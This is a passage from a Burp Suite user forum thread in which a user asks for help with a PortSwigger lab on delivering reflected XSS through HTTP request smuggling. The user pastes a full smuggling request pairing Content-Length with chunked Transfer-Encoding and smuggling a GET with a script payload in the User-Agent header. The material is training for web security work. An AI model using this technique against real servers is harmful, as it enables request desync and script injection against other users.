Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab Issues: Exploiting HTTP request smuggling to deliver reflected XSS

Lingl, | Last updated: Jan 27, 2022 09:55AM UTC

Even with the sample solution I am not able to solve the lab. The funny thing is that I can trigger the alert function when refreshing the page in my own browser. So the exact same thing should work for the virtual victim, but this is not the case. Reproduction: https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss Exploit: ``` POST / HTTP/1.1 Host: my-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 150 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: a"/><script>alert(1)</script> Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1 ``` Anybody facing the same issues?

Ben, PortSwigger Agent | Last updated: Jan 27, 2022 12:15PM UTC